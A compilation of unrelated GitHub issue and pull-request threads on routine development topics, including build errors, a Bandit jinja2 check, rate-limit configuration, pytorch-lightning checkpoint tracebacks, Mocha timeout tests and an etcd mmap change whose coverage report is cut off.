pnpm i
pnpm dev

# in another shell
cd packages/inspector
pnpm play

It's working in progress, contributions are greatly welcome (you can send PR to the feat/inspector branch)
/cc @hannoeru @edwardnyc @userquin in case you are interested

Make a note. I'm trying to add the function of uploading and parsing files. I'm a little busy today. Try to bring up a PR after work

I am merging this. I have left a quick todo list here https://github.com/antfu/unocss/tree/main/packages/inspector#todo and feel free to pick any :) Thanks

Build error is because build processed in parallel, vite package build require inspector, but inspector's build process is still running, so there is no dts file in inspector's dist folder.
Just clan up the dist folder in local can reprod this issue.

@antfu Build error is because build processes running in parallel, vite package build require inspector, but inspector's build process is still running, so there is no dts file in inspector's dist folder.
Just clean up the dist folder in local can reprod this issue.

Yeah, it's kinda tricky to solve (I tried to move --parallel it won't work either). While it's not affecting the userland anyway, I will leave it for later


Select newly added nodes on drag and drop in 2D viewport

Implements this proposal: https://github.com/godotengine/godot-proposals/issues/8282 for 2D viewport.
Testing:
Create couple scenes of different types which can be added to a 2D scene and save them as separate. Try to drag and drop these directly in to the viewport (not the scene tree tab that's a different thing and works ok), one by one, multiple files, have some root node selected or not, do the same with images/icons in FileSystem.
What you should see with this change is that the newly added node(s) will be selected immediately so you should be able to work with them in the viewport.
Test with Undo/Redo too please.
Known issues:
When undoing the orange selection borders remain on the screen until you release the undo shortcut or press for example a mouse button. So far it doesn't seem to be a functional issue as far as I can tell. I don't know what to do about it, I'm open to opinions and suggestions.

Related 3D PR: https://github.com/godotengine/godot/pull/84347

Thanks!


Fix issue #453 jinja2 template select_autoescape when using jinja2.select_autoescape

Hi,
I added a test to reproduce what was reported in #453 . Running the test first, without the patch, gives:
Captured traceback:
~~~~~~~~~~~~~~~~~~~
    b'Traceback (most recent call last):'
    b'  File "/home/kinow/Development/python/workspace/bandit/tests/functional/test_functional.py", line 504, in test_jinja2_templating'
    b"    self.check_example('jinja2_templating.py', expect)"
    b'  File "/home/kinow/Development/python/workspace/bandit/tests/functional/test_functional.py", line 86, in check_example'
    b'    self.assertDictEqual(expect, result)'
    b'  File "/home/kinow/Development/python/anaconda3/lib/python3.7/site-packages/unittest2/case.py", line 1128, in assertDictEqual'
    b'    self.fail(self._formatMessage(msg, standardMsg))'
    b'  File "/home/kinow/Development/python/anaconda3/lib/python3.7/site-packages/unittest2/case.py", line 690, in fail'
    b'    raise self.failureException(msg)'
    b"AssertionError: {'SEV[51 chars]GH': 5}, 'CONFIDENCE': {'UNDEFINED': 0, 'LOW':[23 chars]: 3}} != {'SEV[51 chars]GH': 6}, 'CONFIDENCE': {'UNDEFINED': 0, 'LOW':[23 chars]: 3}}"
    b"- {'CONFIDENCE': {'HIGH': 3, 'LOW': 0, 'MEDIUM': 2, 'UNDEFINED': 0},"
    b'?                                                ^'
    b''
    b"+ {'CONFIDENCE': {'HIGH': 3, 'LOW': 0, 'MEDIUM': 3, 'UNDEFINED': 0},"
    b'?                                                ^'
    b''
    b"-  'SEVERITY': {'HIGH': 5, 'LOW': 0, 'MEDIUM': 0, 'UNDEFINED': 0}}"
    b'?                       ^'
    b''
    b"+  'SEVERITY': {'HIGH': 6, 'LOW': 0, 'MEDIUM': 0, 'UNDEFINED': 0}}"
    b'?                       ^'
    b''
    b''

======
Totals
======
Ran: 244 tests in 4.4894 sec.
 - Passed: 243
 - Skipped: 0
 - Expected Fail: 0
 - Unexpected Success: 0
 - Failed: 1

Hopefully Travis CI will report that this patch produced no failures in the tests. I avoided trying to check if the jinja2 module was aliased, as I think we would have to look at the Context imports, store in a variable what was the method, and add yet another if for that? But if there's a simpler way or if necessary, happy to update this pull request.
Cheers
Bruno

Aarrgh. Had a hard time fixing flake8 style issues, sorry. Sometimes it can be quite tricky to format everything under 80 columns :-) Rebased.

Thanks for reviewing and sorting out formatting and last touches to get it merged, @ericwb :+1:

@ericwb Hi Eric, I think issue #711 and PR #903 can also be closed after this merge.


Endpoint of HTTP with Azure AD connector to allow dataflows in DLP policies

Regarding:

If you use data loss prevention (DLP) policies to block the HTTP with Azure AD connector then SharePoint and OData connectors will fail. The HTTP with Azure AD connector needs to be allowed in DLP policies for SharePoint and OData connectors to work.

What is the endpoint we should allow if we use endpoint filtering?

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 69ef5ecf-6d78-d852-f9ec-bf452864f0f5
Version Independent ID: 9a080f0e-f168-ee88-2b32-22e55e95ae4c
Content: Create and use dataflows in Power Apps - Power Apps
Content Source: powerapps-docs/maker/data-platform/create-and-use-dataflows.md
Service: powerapps
Sub-service: dataverse-maker
GitHub Login: @Mattp123
Microsoft Alias: matp

Thanks for your comment, @javier-m-g. This issue has been assigned to the doc author for review.


Conda-forge package outdated.

The latest Version 3.11 is not in conda-forge: https://anaconda.org/conda-forge/wavespectra/files. Since this package requires Fortran compile, it would be nice to be able to install from conda without needing compilers.

just realized this is some internal code, not public. The packaged version is at wavespectra/wavespectra.


specify limit or quota for url level

Currently, I can only set limitation on service level, how should I do if I want to specify different limitation for different url?
e.x.
    policy-list:
      myServiceId:
        - url: /api/v1/a
          limit: 10 #optional - request number limit per refresh interval window
          quota: 1000 #optional - request time limit per refresh interval window (in seconds)
          refresh-interval: 60 #default value (in seconds)
          type: #optional
            - user
            - origin
            - url
        - url: /api/v1/b
          limit: 20 #optional - request number limit per refresh interval window
          quota: 2000 #optional - request time limit per refresh interval window (in seconds)
          refresh-interval: 60 #default value (in seconds)
          type: #optional
            - user
            - origin
            - url

Currently multiple policies are supported but there is not support for specifying the url.
I think that adding support for user, origin and url while keeping empty value as match all will work well.
What do you think? @robbietree @marcosbarbero

@lchayoun just to clarify, do you mean adding url as a new configurable property?

@marcosbarbero Not necessarily new, we can modify it to accept option value so that both of the following will work:
zuul:
  ratelimit:
    policy-list:
      myServiceId:
        - type: #optional
            - user
            - origin
            - url

With the new capability:
zuul:
  ratelimit:
    policy-list:
      myServiceId:
        - type: #optional
            - user: myUser
            - origin: myOrigin
            - url: /my/url

I'm not sure it gonna work as expected by @robbietree, in your approach it will still handle only one url per service, I do believe he wants multi-url configuration.

Why only one url? it is a list of policies per service.

Oops, my mistake! I forgot we now support a list of policy, in that case it will sure work :)

Yes, the approach @lchayoun suggests will work :)

@robbietree great, I will try to add support for it.


Create CONTRIBUTING.md with detailed steps

Create CONTRIBUTING.md with detailed steps and instructions for beginners trying to contribute in Hacktoberfest 2020.
Please review and do the needful.

Good job. :)


[GitOps] give WG chairs access to create events on CNCF community tag-app-delivery group

Can GitOps WG chairs please be granted access to creating events on https://community.cncf.io/tag-app-delivery/?
GitOps WG chairs:

[ ] @murillodigital
[x] @scottrigby
[ ] @todaywasawesome

See:

https://github.com/gitops-working-group/gitops-working-group/issues/70
https://github.com/gitops-working-group/gitops-working-group/issues/66

Please let me know which events we should add. Thank you!

I would help out with events date and times, but I haven't had the chance to be in a gitops-wg related meeting for a while. Since we only have relatively static and repetitive events, working through the chairs or tech leads shouldn't be too difficult to manage. However, if there was a need to add a lot of new events then access would be the way to go. Agree, @scottrigby?

Closing as stale. Let's revisit CODEOWNERship in this repo.


CSS only version

following #27 we are going to introduce a first iteration of a "CSS only" version of Habitat in v1.0, to provide basic library usage and UI/UX consistency in regular HTML environments, especially landing pages buit with 3rd party tools.

[x] habitat tokens usable as CSS classes
[ ] typography elements usable as CSS classes
[ ] habitat components usable as CSS classes
[x] provide examples on Storybook
[ ] update documentation

some parts will be dependants on #50

I'm going to update the related branch and create a draft PR to better explain the situation @Serse2


Support internal URL shortening

As per the external URL shortener feature, for internal instances of GCC Explorer it would be nice to have a built-in short URL system.

@malcolmr added goo.gl shortening, which works a treat


Support validation of embedded files

Hi!
We need a way to process embedded files for validation in our existing/other validation workflows e.g. if an image is embedded, the image should be validated according to our organisation's image file format policies.
The validator should therefore allow for a method, possibly returning a list of embedded files with their paths, when validating the ODS_5 requirement.

The package parser allows access to the streams of all entries with some convenience methods for access embedded files.


Great job and just wanna to say thank you

Just carefully read the README, it's fantastic, the best doc I've read this year! Now I finally feel that the secret of state management becomes clear.
Thank you for your selfless dedication, you have made the Flutter community and even the whole world better!
👍👍👏👏

Thanks for your kind words!


test.py not working

I have trained a model with my own data, everything worked properly but when I launched the test.py it gave me this error:
Error executing job with overrides: []
Traceback (most recent call last):
  File "test.py", line 36, in main
    trainer.test(model, testset, ckpt_path=checkpoint)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 795, in test
    self, self._test_impl, model, dataloaders, ckpt_path, verbose, datamodule
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/call.py", line 38, in _call_and_handle_interrupt
    return trainer_fn(*args, **kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 842, in _test_impl
    results = self._run(model, ckpt_path=self.ckpt_path)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 1112, in _run
    results = self._run_stage()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 1188, in _run_stage
    return self._run_evaluate()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 1228, in _run_evaluate
    eval_loop_results = self._evaluation_loop.run()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/loop.py", line 199, in run
    self.advance(*args, **kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/dataloader/evaluation_loop.py", line 152, in advance
    dl_outputs = self.epoch_loop.run(self._data_fetcher, dl_max_batches, kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/loop.py", line 199, in run
    self.advance(*args, **kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/epoch/evaluation_epoch_loop.py", line 137, in advance
    output = self._evaluation_step(**kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/epoch/evaluation_epoch_loop.py", line 234, in _evaluation_step
    output = self.trainer._call_strategy_hook(hook_name, *kwargs.values())
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 1494, in _call_strategy_hook
    output = fn(*args, **kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/strategies/strategy.py", line 399, in test_step
    return self.model.test_step(*args, **kwargs)
  File "/home/user/Desktop/vid2avatar/code/v2a_model.py", line 268, in test_step
    model_outputs = self.model(batch_inputs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/torch/nn/modules/module.py", line 1194, in _call_impl
    return forward_call(*input, **kwargs)
  File "/home/user/Desktop/vid2avatar/code/lib/model/v2a.py", line 159, in forward
    cond, smpl_tfs, feature_vectors=feature_vectors, is_training=self.training)
  File "/home/user/Desktop/vid2avatar/code/lib/model/v2a.py", line 237, in get_rbg_value
    _, gradients, feature_vectors = self.forward_gradient(x, pnts_c, cond, tfs, create_graph=is_training, retain_graph=is_training)
  File "/home/user/Desktop/vid2avatar/code/lib/model/v2a.py", line 264, in forward_gradient
    only_inputs=True)[0]
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/torch/autograd/__init__.py", line 302, in grad
    allow_unused, accumulate_grad=False)  # Calls into the C++ engine to run the backward pass
RuntimeError: element 0 of tensors does not require grad and does not have a grad_fn

How could I fix this? I haven't changed any line of code, and run everything as stated.

https://github.com/MoyGcc/vid2avatar/issues/7 I guess this might solve your problem.

If you want a more detailed traceback I managed to trace the error to

grad = torch.autograd.grad(
                outputs=pnts_d,
                inputs=pnts_c,
                grad_outputs=d_out,
                create_graph=create_graph,
                retain_graph=True if i < num_dim - 1 else retain_graph,
                only_inputs=True)[0]

in v2a.py line 258. This is the problematic line.

Did not work, it now gives this error:
Error executing job with overrides: []
Traceback (most recent call last):
  File "test.py", line 40, in main
    trainer.test(model, testset, ckpt_path=checkpoint)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 907, in test
    return self._call_and_handle_interrupt(self._test_impl, model, dataloaders, ckpt_path, verbose, datamodule)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 683, in _call_and_handle_interrupt
    return trainer_fn(*args, **kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 950, in _test_impl
    results = self._run(model, ckpt_path=self.tested_ckpt_path)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 1190, in _run
    self.checkpoint_connector.restore_training_state()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/connectors/checkpoint_connector.py", line 188, in restore_training_state
    self.restore_loops()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/connectors/checkpoint_connector.py", line 221, in restore_loops
    self.trainer.test_loop.load_state_dict(state_dict["test_loop"])
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/base.py", line 252, in load_state_dict
    self._load_from_state_dict(state_dict.copy(), prefix, metrics)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/base.py", line 281, in _load_from_state_dict
    state_dict[prefix + k], metrics=metric_attributes, sync_fn=self.trainer.training_type_plugin.reduce
KeyError: '_results'

This might be because you trained your model with another version of pytorch-lightning. Maybe you could quickly try training with your own data using the "suggested" pytorch-lightning version (no need for full convergence) and then run test.py.

If you want a more detailed traceback I managed to trace the error to

grad = torch.autograd.grad(
                outputs=pnts_d,
                inputs=pnts_c,
                grad_outputs=d_out,
                create_graph=create_graph,
                retain_graph=True if i < num_dim - 1 else retain_graph,
                only_inputs=True)[0]

in v2a.py line 258. This is the problematic line.

I might need more time to debug this due to the pytorch-lightning version update. But for now, you could try training again to walk around this issue.

When rerunning training I get:
Error executing job with overrides: []
Traceback (most recent call last):
  File "train.py", line 39, in main
    trainer.fit(model, trainset, validset, ckpt_path=checkpoint)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 739, in fit
    self._fit_impl, model, train_dataloaders, val_dataloaders, datamodule, ckpt_path
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 683, in _call_and_handle_interrupt
    return trainer_fn(*args, **kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 773, in _fit_impl
    self._run(model, ckpt_path=ckpt_path)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 1190, in _run
    self.checkpoint_connector.restore_training_state()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/connectors/checkpoint_connector.py", line 188, in restore_training_state
    self.restore_loops()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/connectors/checkpoint_connector.py", line 217, in restore_loops
    self.trainer.fit_loop.load_state_dict(state_dict["fit_loop"])
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/base.py", line 255, in load_state_dict
    v.load_state_dict(state_dict.copy(), prefix + k + ".")
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/base.py", line 252, in load_state_dict
    self._load_from_state_dict(state_dict.copy(), prefix, metrics)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/base.py", line 281, in _load_from_state_dict
    state_dict[prefix + k], metrics=metric_attributes, sync_fn=self.trainer.training_type_plugin.reduce
KeyError: 'epoch_loop._results'

When rerunning training I get:重新運行訓練時我得到：
Error executing job with overrides: []
Traceback (most recent call last):
  File "train.py", line 39, in main
    trainer.fit(model, trainset, validset, ckpt_path=checkpoint)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 739, in fit
    self._fit_impl, model, train_dataloaders, val_dataloaders, datamodule, ckpt_path
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 683, in _call_and_handle_interrupt
    return trainer_fn(*args, **kwargs)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 773, in _fit_impl
    self._run(model, ckpt_path=ckpt_path)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/trainer.py", line 1190, in _run
    self.checkpoint_connector.restore_training_state()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/connectors/checkpoint_connector.py", line 188, in restore_training_state
    self.restore_loops()
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/trainer/connectors/checkpoint_connector.py", line 217, in restore_loops
    self.trainer.fit_loop.load_state_dict(state_dict["fit_loop"])
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/base.py", line 255, in load_state_dict
    v.load_state_dict(state_dict.copy(), prefix + k + ".")
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/base.py", line 252, in load_state_dict
    self._load_from_state_dict(state_dict.copy(), prefix, metrics)
  File "/home/user/anaconda3/envs/vid2avatar/lib/python3.7/site-packages/pytorch_lightning/loops/base.py", line 281, in _load_from_state_dict
    state_dict[prefix + k], metrics=metric_attributes, sync_fn=self.trainer.training_type_plugin.reduce
KeyError: 'epoch_loop._results'

I have the same problem.
When I try to upgrade the pytorch lightning with version 1.6.0, and it works!!
Share the result with you.

For those who stick to a higher version of pytorch-lightning, I think this helps: https://github.com/Lightning-AI/pytorch-lightning/issues/18222#issuecomment-1666087726 .


Rename deprecated autocompletion kwarg to shell_complete

In 8.0.0 of Click autocompletion was deprecated and renamed to shell_complete. In 8.1.0 this deprecation was dropped.
This PR fixes things by switching to the new syntax.

Codecov Report

Merging #38 (a48b988) into main (3d12a3f) will increase coverage by 0.46%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main      #38      +/-   ##
==========================================
+ Coverage   79.13%   79.59%   +0.46%
==========================================
  Files           9        9
  Lines         345      343       -2
==========================================
  Hits          273      273
+ Misses         72       70       -2

Impacted Files
Coverage Δ

dask_ctl/cli.py
66.87% <100.00%> (-0.41%)
:arrow_down:

dask_ctl/discovery.py
88.23% <0.00%> (+5.88%)
:arrow_up:

:mega: Codecov can now indicate which changes are the most critical in Pull Requests. Learn more


Gappy path when visualised using gpsvisualizer.com

I have a HiTrack file that I took from a backup of my Honor Watch Magic, I converted it with your tool and used gpsvisualizer.com
Looks like there are some gaps come up when I import it. Might be just the way this website displays it though.
Archive.zip

Originally posted by @yeahsmaggy in https://github.com/aricooperdavis/Huawei-TCX-Converter/pull/5#issuecomment-480486847

I think that's just the way that particular website handles the data - on manual inspection it doesn't look like there's anything wrong with the TCX file. I use MyGPSFiles if I want to quickly map a .tcx file, and it looks fine on there:

So I'll close this for the moment, but let me know if you think it's a more inherent problem.


Configure Mocha’s timeout to accommodate IcedFrisby’s

This need came up in badges/shields#1115. We don't have a global mocha timeout configured, so we're using the default of 2000. IcedFrisby's default is 5000 which seems more reasonable for what we're doing, though it's not being passed to Mocha.
Since IcedFrisby registers the Mocha test, it seems reasonable that IcedFrisby's notions of timing should prevail.
If a developer needs a longer timeout, they can just invoke e.g. timeout(10000) to set it to a higher value.
If a developer wants the 2000 ms timeout they had before this change, they can run globalSetup.

Coverage increased (+0.01%) to 92.453% when pulling 25e7cb219889d8bb982d1e8aacc8ee724c917301 on paulmelnikow:timeout into 73d59f97b4b00731bdce8d91b749c78e3d7504cc on MarkHerhold:master.

This fixes #14!

Coverage increased (+0.01%) to 92.453% when pulling d8e88f8070ca709d88f96ed53fe1c7db9415b1ba on paulmelnikow:timeout into 73d59f97b4b00731bdce8d91b749c78e3d7504cc on MarkHerhold:master.

Coverage increased (+0.01%) to 92.453% when pulling 840c6c11a9840f04e9023efca91b889db4e4bbaa on paulmelnikow:timeout into 73d59f97b4b00731bdce8d91b749c78e3d7504cc on MarkHerhold:master.

I'm OK with this PR and think it makes sense given issue #14 👍
A test would be nice, but it's sorta convoluted. I guess we could test to see that IcedFrisby fails within a certain time period and use sinon to count the number of retries?

Yea, IIRC we have no test coverage on any of this code, and it would be nice to have some. (#41)
Your suggestions make sense. We could also use sinon to mock request.
Also, at a dumber level we could check that the timeout is set correctly on the Mocha test.

Have updated the PR title and top comment based on what this now is doing.

@MarkHerhold Would you have time today to read this?
I know @Fishbowler is itching for a release, so if this is going to take longer, I might just go ahead and do a release, and then release again when it's merged.
Also @Fishbowler you're welcome to read as well!

I'll review this but IMO an extra release never hurts.

The tests don't seem quite right to me (I have random timing failures because the deliberate nock delays seem to run too quickly) and I'm going to see if I can take a stab and ensuring that the exception handlers are called.

I adjusted the tests but I can't figure out how to make changes to the PR outside the web editor. While I figure that out, here's a patch I'd like you to consider applying:
diff --git a/test/frisby_mock_request.js b/test/frisby_mock_request.js
index 742384f..bc389a2 100644
--- a/test/frisby_mock_request.js
+++ b/test/frisby_mock_request.js
@@ -1087,57 +1087,51 @@ describe('Frisby matchers', function() {

   describe('timeouts and retries', function () {
     it('should fail when timeout() value elapses', function () {
-      let startTime
+      const timeout = 10

       nock('http://example.com')
         .get('/just-dont-come-back-1')
-        .reply((uri, requestBody, callback) => {
-          startTime = process.hrtime()
-          // To simulate a timeout, do not invoke the callback.
-        })
+        .delayBody(50) // delay 50ms
+        .reply(200, '')

-      const requestTimeoutMillis = 123
+      const spy = sinon.spy()

       frisby.create(this.test.title)
         .get('http://example.com/just-dont-come-back-1')
-        .timeout(requestTimeoutMillis)
-        .exceptionHandler(err => {
-          // TODO How can I assert that this method is called?
-
-          // Confidence check
-          expect(startTime).to.be.an('array')
-
-          // Assertion
-          const [seconds, nanoseconds] = process.hrtime(startTime)
-          const endTimeMillis = 1e3 * seconds + 1e-6 * nanoseconds
-
-          const assertionGracePeriodMillis = [5, 50]
-          expect(endTimeMillis).to.be.within(
-            requestTimeoutMillis - assertionGracePeriodMillis[0],
-            requestTimeoutMillis + assertionGracePeriodMillis[1])
+        .timeout(timeout)
+        .exceptionHandler((err) => {
+          spy()
+          expect(err.message).to.equal(`Request timed out after ${timeout} ms`)
+          expect(spy.calledOnce).to.equal(true)
         })
         .toss()
     })

     it('should retry the expected number of times after a timeout', function () {
+      const retryCount = 4
       let actualRequestCount = 0
+      const timeout = 5

       nock('http://example.com')
         .get('/just-dont-come-back-2')
+        .delayBody(50) // delay 50ms
         .times(5)
         .reply((uri, requestBody, callback) => {
           actualRequestCount += 1
-          // To simulate a timeout, do not invoke the callback.
+          return 200, ''
         })

-      const retryCount = 4
+      const spy = sinon.spy()

       frisby.create(this.test.title)
         .get('http://example.com/just-dont-come-back-2')
-        .timeout(5)
+        .timeout(timeout)
         .retry(retryCount, 0)
         .exceptionHandler(err => {
-          // TODO How can I assert that this method is called?
+          spy()
+          expect(err.message).to.equal(`Request timed out after ${timeout} ms (${retryCount + 1} attempts)`)
+          expect(spy.calledOnce).to.equal(true)
+
           expect(actualRequestCount).to.equal(retryCount + 1)
         })
         .toss()

Ah, thanks for the explanation. I agree with your points on the TODOs and think that Promises are likely the best path forward (and the way of async/await!).

I'm good with this PR now. I think it's about as good as we are going to get without changing more of the underlying implementation.

Thoughts on semver?

Retry on errors, not just timeouts

It's possible, though unlikely, that a test would rely on retries for timeouts, while somehow failing when a server error comes back instead. So I go with non-breaking feature.

Back off between retries

Bug fix

Global setup respects retryBackoff option

Bug fix

Configure Mocha’s timeout to accommodate .timeout() and .retry()

Could cause test timeouts if people are relying on a generous global timeout which we're now clamping down. Hmm. Breaking change?
Maybe we should modify this to use the max of the global timeout and our computed timeout. Then it would be a non-breaking feature.

To me, test-specific timeouts should override global timeouts. I'd rather just ship a minor version than add more logic that could be confusing to users later on.

I'm fine with that. Hopefully it won't cause problems!


Initialize hat values for mapping and revert X360 mappings.

Issue #6419 is caused by uninitialized values for the hat JoyEvents.  An uninitialized value of 0 for the index causes the hat event to be interpreted as button 0.
I've initialized the hat indices to larger integer buttons, so they won't overlap with normal buttons.  From my reading of the code, I don't think this should cause any issues, but let me know if I've missed something.
I've also reverted the X360 mappings to match SDL, as they will work properly now.  I also added my X360 controller, as it was missing from the mappings.

I assumed the wired controller would have the same mapping, which may have been a bad assumption.  I've reverted the changes to the wired controllers.

What about the master branch? Does it also need this change?

What about the master branch? Does it also need this change?

Yeah, it does indeed. ^^


Cache JsonProvider to avoid loading the ServiceLoader on each request

Fixes #91
I used a static initliazer class to avoid a premature call to the ServiceLoader but maybe it's too much and I can just use an instance variable instead.

@jmartisk this is already the case today, the loading is lazy as it happens only when rendering the health check.
In fact, using a simple instance variable will change the current behavious as it will triggers the instansiation of the JsonProvider sooner (and it uses a ServiceLoader).

Hmm I'm not sure we understand each other, today it calls Json.* for every request and doesn't cache the provider anywhere. So you could store the JsonProvider.provider() into a simple field instead, and that would be populated when the bean is initialized (which means build time in Quarkus). It's an application scoped bean, so we don't have to worry that it will be instantiated many times, therefore we don't need to store the provider statically, with all the trouble that it brings.
But I don't care that much, your current solution would work too

@jmartisk you're the boss ;)
I updated my PR.


On clone event not working

Describe the bug
I'm implemeting pdf export of documents in my website, everything used to work perfectly but now I need to show some buttons in the page and remove them when exported. To achieve it  I've added a custom class to all the elements I need to remove and change and in the onclone method I'm doing some logic but it is not working, when exporting it enters to the method, but does nothing. This is my implementation:
<template>
<client-only>
      <vue-html2pdf
        :float-layout="false"
        :preview-modal="false"
        :enableDownload="true"
        :pdf-quality="2"
        :manual-pagination="true"
        pdf-orientation="portrait"
        :filename="userData.name"
        pdf-content-width="100%"
        ref="html2Pdf"
        :html-to-pdf-options="html2PdfOptions"
      >
           <section slot="pdf-content">
               ...
           </section>
      </vue-html2pdf>
</client-only>
<template>

<script>
export default {
    data() {
        return {
     html2PdfOptions: {
        enableLinks: true,
        filename: this.userData.name,
        margin: 0,
        image: {
          type: 'jpeg',
          quality: 1,
        },
        html2canvas: {
          useCORS: true,
          scrollX: -7,
          scrollY: 0,
          onclone: async (element) => {
            const wrapper = element.getElementById('wrapper')
            wrapper.classList.remove('shadow')
            wrapper.style.borderRadius = 0
            wrapper.style.margin = 0
            wrapper.style.padding = 0

            wrapper
              .querySelectorAll('.d-print-none')
              .forEach((item) => item.remove())

            wrapper
              .querySelectorAll('.header, .content, .left, .right')
              .forEach((item) => (item.style.borderRadius = 0))
          },
        },
        jsPDF: {
          format: 'ledger',
          floatPrecision: 'smart',
          orientation: 'portrait',
        },
        }
    },
    methods: {
        exportPDF() {
             this.$refs.html2Pdf.generatePdf()
        }
    }
}
</script>

Only the onclone is not working, the rest of the html2pdf options work as expected.
Package Version
Latest (1.8.0)
Additional context
I'm working with Nuxt in SSR mode, but I think this is not a problem because export to pdf is working, the only problem is that my code is not working to remove/alter the elements.

I've tried printing the options in the @beforeDownload method and it gives me the following:

The complete Exception is:
TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them
    at Function.r (<anonymous>:1:83)

It looks like when :float-layout="false" PDF file is being generated from an origin (not cloned) element.
Try this:
async exportPDF() {
        const wrapper = element.getElementById('wrapper')
        wrapper.classList.remove('shadow')
        await this.$refs.html2Pdf.generatePdf()
        wrapper.remove.remove('shadow')
 }


Item Purchase Flow is no longer working

The bot continues to attempt to purchase the same first item for the full duration of the game.  Here are the logs which may be useful.
21112023_1303.log
Edit: The champ is not selected in your application. This may be the reason.  Any tips on fixing it?  I think it might be related to riot using the riot id (abcd#1234).  So it would need to look for the abcd which is located in the .json file.
Possible fix: Let users input the riot id into the config and bring in the var that way

Thanks, currently planning to overhaul item buying anyway soon, so this will be address in a future update.

This issue should be fixed under the last few releases.


fix: specficy package name and version for fedimint-threshold-crypto

Was getting errors when trying to build an app that referenced a local roastr repo.


etcdserver, backend: configure mmap size based on quota

Mechanism for permitting mmaps > 10GB.

Codecov Report

Merging #7525 into master will increase coverage by <.01%.
The diff coverage is 91.17%.

@@            Coverage Diff             @@
##           master    #7525      +/-   ##
==========================================
+ Coverage   70.23%   70.23%   +<.01%
==========================================
  Files         320      320
  Lines       26205    26223      +18
==========================================
+ Hits        18405    18419      +14
- Misses       6343     6352       +9
+ Partials     1457     1452       -5

Impacted Files
Coverage Δ

etcdserver/server.go
79.39% <100%> (+0.26%)
:white_check_mark:

etcdctl/ctlv3/command/migrate_command.go
63.78% <100%> (ø)
:white_check_mark:

etcdserver/quota.go
71.42% <33.33%> (+1.66%)
:white_check_mark:

mvcc/backend/backend.go
75.72% <95.45%> (+1.97%)
:white_check_mark:

pkg/adt/interval_tree.go
80.4% <0%> (-6.42%)
:x:

etcdserver/api/v3rpc/maintenance.go
76.25% <0%> (-2.5%)
:x:

etcdserver/cluster_util.go
73.42% <0%> (-1.4%)
:x:

etcdserver/api/v3rpc/watch.go
88.48% <0%> (-1.05%)
:x:

clientv3/lease.go
91.11% <0%> (ø)
:white_check_mark:

proxy/grpcproxy/adapter/watch_client_adapter.go
